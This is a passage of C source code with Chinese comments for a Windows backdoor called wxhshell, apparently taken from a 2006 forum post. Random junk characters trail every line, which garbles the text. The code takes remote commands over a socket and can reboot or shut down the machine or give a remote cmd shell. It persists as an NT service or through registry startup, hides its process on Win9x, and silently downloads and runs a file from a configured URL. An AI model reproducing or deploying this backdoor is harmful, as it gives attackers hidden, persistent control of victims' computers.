    break; ?&8^&brwG  
  } dN$0OS`s[  
  // 安装 e>} s;H,  
  case 'i': { .[]r}[lU  
    if(Install()) X&tF;<m^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ep9nsX*   
    else ;km`P|<U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zJq~!#pZ  
    break; H4WP~(__  
    } Q:2>}QgX}  
  // 卸载 /C:Y94B-z  
  case 'r': { u 1>2v  
    if(Uninstall()) wT6"U$cV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pj\u9 L_  
    else Z)I+@2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 29;?I3< *  
    break; G?L HmTHg  
    } q$0*b]=E  
  // 显示 wxhshell 所在路径 Mo|;'+  
  case 'p': { k0OYJ/  
    char svExeFile[MAX_PATH]; Y+kfBvxyf  
    strcpy(svExeFile,"\n\r"); %|s; C  
      strcat(svExeFile,ExeFile); }n]Ng]KM`  
        send(wsh,svExeFile,strlen(svExeFile),0); ;,hwZZA  
    break; iw3FA4{(  
    } >nJ\BPx  
  // 重启 F~,Mw8  
  case 'b': { &Qf/>@ l}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A=$04<nP8!  
    if(Boot(REBOOT)) W>${zVu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eq%}  
    else { TJ10s%,V  
    closesocket(wsh); &W| [r(  
    ExitThread(0); I,E?h?6Y  
    } &fDIQISC  
    break; Tr_w]'  
    } !{ y@od@T  
  // 关机 "IZa!eUW  
  case 'd': { 0pZ4BZdT|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {j{u6i  
    if(Boot(SHUTDOWN)) RVZ")Z(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $h+1u$po  
    else { .T}Wdn g  
    closesocket(wsh); QVv#fy1"6  
    ExitThread(0); P}Gj %4/G  
    } M,j U}yD3  
    break; aZH:#lUlj  
    } bZ dNibN  
  // 获取shell @3>u@  
  case 's': { f/U`  
    CmdShell(wsh); W\>fh&!)  
    closesocket(wsh); Cz9xZA{[M  
    ExitThread(0); ,kyJAju>  
    break; $jjfC  
  } p\Q5,eg  
  // 退出 (o 5s"b  
  case 'x': { tP:lP#9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BOX{]EOj  
    CloseIt(wsh); T(#J_Y  
    break; R}-(cc%5  
    } aHV;N#Lx3  
  // 离开 ?qmRbDI  
  case 'q': { C/q'=:H;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); us1Hu)  
    closesocket(wsh); NG=@ -eu  
    WSACleanup(); S.mG?zbw  
    exit(1); {AhthR%(1  
    break;  U'k*_g  
        } 6]&OrS[  
  } .6ylZ  
  } evya7^,F  
3$jT*OyG#  
  // 提示信息 nXaC 3W:"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h&M{]E9=  
} h}>"j%I  
  } Z&G+bdA>,  
|hKDvH  
  return; 7!$Q;A  
} WQx?[tW(U  
c/:b.>W  
// shell模块句柄 ~Zun&b)S  
int CmdShell(SOCKET sock) $By< $  
{ )!3V/`I  
STARTUPINFO si; M-$%Rzl_  
ZeroMemory(&si,sizeof(si)); lXx=But  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^6jV_QM#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mu\6z_e  
PROCESS_INFORMATION ProcessInfo; ]V[q(-Jk  
char cmdline[]="cmd"; o$wEEz*4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7z%L*z8V  
  return 0; v3*_9e  
} D.r<QO~6B  
2+RUTOv/d  
// 自身启动模式 VRVO-Sk  
int StartFromService(void) M  f}~{+  
{ c_dVWh e  
typedef struct zKyyU}LHH  
{ b10cuy|a/X  
  DWORD ExitStatus; tl[Uw[  
  DWORD PebBaseAddress; P:hBt\5B  
  DWORD AffinityMask; U2ohHJ``  
  DWORD BasePriority; DMAIM|h  
  ULONG UniqueProcessId; T"(&b~m2b4  
  ULONG InheritedFromUniqueProcessId; 1Rt33\1J0  
}   PROCESS_BASIC_INFORMATION; dhC$W!N7!  
0XOp3  
PROCNTQSIP NtQueryInformationProcess; -$t{>gO#Y  
<!&[4-;fU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mbKZJ{|4s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kq?Ms|h  
nxO"ua  
  HANDLE             hProcess; ^NLmgw Q  
  PROCESS_BASIC_INFORMATION pbi; bYcV$KJk  
R]JT&p|w.1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,A9]CQ  
  if(NULL == hInst ) return 0; hE &xE;  
G ?9"Y%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Ym]Mj' ln  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zZ:>do\2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bpOYHc6,*`  
'g">LQ~a+  
  if (!NtQueryInformationProcess) return 0; %7QV&[4!  
}cM}Oavh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V~UN  
  if(!hProcess) return 0; "0$a)4]  
@tF\p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bc*X/).  
<NHH^M\N  
  CloseHandle(hProcess); R$EW4]j  
2d>z1%'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H(H<z,$}T  
if(hProcess==NULL) return 0; Oylf<&knF\  
%9 SJ E  
HMODULE hMod; i9rN9Mq?O  
char procName[255]; @g|v;B|{  
unsigned long cbNeeded; u/UrAqw  
@Rg/~\K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w3N[9w?1  
tCw<Ip  
  CloseHandle(hProcess); %3s1z<;R[S  
*}Xf!"I#]N  
if(strstr(procName,"services")) return 1; // 以服务启动 #`~C)=-  
+<'Ev~  
  return 0; // 注册表启动 -TLlwxc^%  
} I"xo*}  
BIH-"vTy  
// 主模块 O6@j &*jS  
int StartWxhshell(LPSTR lpCmdLine) ,1hxw<sNR  
{ mR!1DQ.\<  
  SOCKET wsl; M|VyV (f  
BOOL val=TRUE; 2Zm0qJ  
  int port=0; 87=&^.~`  
  struct sockaddr_in door; 1}"++Z73P  
a a<8,;  
  if(wscfg.ws_autoins) Install(); 0`Kj 25  
)z>|4@,  
port=atoi(lpCmdLine); Qo>b*Ku;  
;$HftG>B  
if(port<=0) port=wscfg.ws_port; .28<tEf  
YP 6` L  
  WSADATA data; -<6\1J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; } j<)L,  
__uA}f Zp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %Celc#v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  Ii6<b6-  
  door.sin_family = AF_INET; AWcLUe{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5sdn[Tt##  
  door.sin_port = htons(port); 4"GR] X  
'|ad_M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y~(h>gi,x  
closesocket(wsl); .nTwPrG  
return 1; \-L&5x"x  
} .GbX]?dN  
?xA:@:l/  
  if(listen(wsl,2) == INVALID_SOCKET) { K)6rY(x >  
closesocket(wsl); :X"?kK0V  
return 1; E~,F  
} Q[Z8ok  
  Wxhshell(wsl); }I2wjO  
  WSACleanup(); &)2i[X  
0mpX)S  
return 0; 3s5z UT;  
FSP+?((  
} eP.wOl  
w2Us!<x  
// 以NT服务方式启动 &]V.S7LC #  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7Sf bx~48  
{ H[m:0eF'5  
DWORD   status = 0; 2uz W+D6J  
  DWORD   specificError = 0xfffffff; j~"Q3P;V  
f W!a|?e$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !]42^?GH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2iHUZzz\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !NIhx109q  
  serviceStatus.dwWin32ExitCode     = 0; @X%C>iYa9  
  serviceStatus.dwServiceSpecificExitCode = 0; ]Gzm^6v  
  serviceStatus.dwCheckPoint       = 0; i 6R~`0>Q  
  serviceStatus.dwWaitHint       = 0; ()2I#  
%}[i'rT>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \j+1V1t9  
  if (hServiceStatusHandle==0) return; C7XxFh  
tW.9yII  
status = GetLastError(); vhe>)h*B  
  if (status!=NO_ERROR) .I$qCb|FP  
{ kd>hhiz|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j1^I+j)  
    serviceStatus.dwCheckPoint       = 0; 1!ii;s^e  
    serviceStatus.dwWaitHint       = 0; R"4Vtww  
    serviceStatus.dwWin32ExitCode     = status; 1=r#d-\tR  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5rwu!Y;7*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -] L6=  
    return; v;BV@E0}x  
  } Ld\R:{M"  
aL*&r~`&e'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mh~q//  
  serviceStatus.dwCheckPoint       = 0; Olt `:;j-  
  serviceStatus.dwWaitHint       = 0; bG7O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H6kR)~zhf  
} 3e #p @sB  
+:8fC$vVfC  
// 处理NT服务事件,比如:启动、停止 -mAUo;O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q8C_9r/:N>  
{ WM Fb4SUR  
switch(fdwControl) C`K?7v3$m  
{ nv GF2(;l  
case SERVICE_CONTROL_STOP: 4 <9=5q]  
  serviceStatus.dwWin32ExitCode = 0; IW>T}@ |  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;t'5},(FP  
  serviceStatus.dwCheckPoint   = 0; ,qA(\[  
  serviceStatus.dwWaitHint     = 0; ^.1)};i  
  { ={_C&57N1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #~#R-   
  } ~F7 -HaQJ  
  return; uYn_? G  
case SERVICE_CONTROL_PAUSE: zxJ]" N  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; wi;Br[d  
  break; 6{x(.=  
case SERVICE_CONTROL_CONTINUE: ,kF1T,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C.~,qmOP  
  break; Vdtry @Q  
case SERVICE_CONTROL_INTERROGATE: #eQJEajv5  
  break; rEv@Y D  
}; 2gc/3*F8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YT8vP~  
} 5}:-h>  
,eOB(?Ku  
// 标准应用程序主函数 C+'/>=>a.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (XeE2l2M  
{ LyZ.l*h%=m  
zer%W%  
// 获取操作系统版本 {,3>"  
OsIsNt=GetOsVer(); XnDUa3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K:!"+q  
V\{clJ\U  
  // 从命令行安装 ~s% Md  
  if(strpbrk(lpCmdLine,"iI")) Install(); q_TR q:&.  
L\Aq6q@c  
  // 下载执行文件 9`wZz~hL"  
if(wscfg.ws_downexe) { "k/;[ Wt]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w0ht  
  WinExec(wscfg.ws_filenam,SW_HIDE); S)lkz'tdk  
} #EO9UW5  
&]8P1{  
if(!OsIsNt) { 9zZr^{lUl  
// 如果时win9x,隐藏进程并且设置为注册表启动 U@g4w!$r  
HideProc(); )+l\w3^6  
StartWxhshell(lpCmdLine); nKS7Q1+  
} B{|8#jqY  
else o1Ph~|s*8  
  if(StartFromService()) e]`[yf  
  // 以服务方式启动 V`X2> -Ex  
  StartServiceCtrlDispatcher(DispatchTable); H#@^R(  
else <%($7VMev  
  // 普通方式启动 "|Xk2U  
  StartWxhshell(lpCmdLine); Gnf~u[T6  
O?)3VT*  
return 0; *194{ ep  
}
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只看该作者 1 发表于: 2006-10-10
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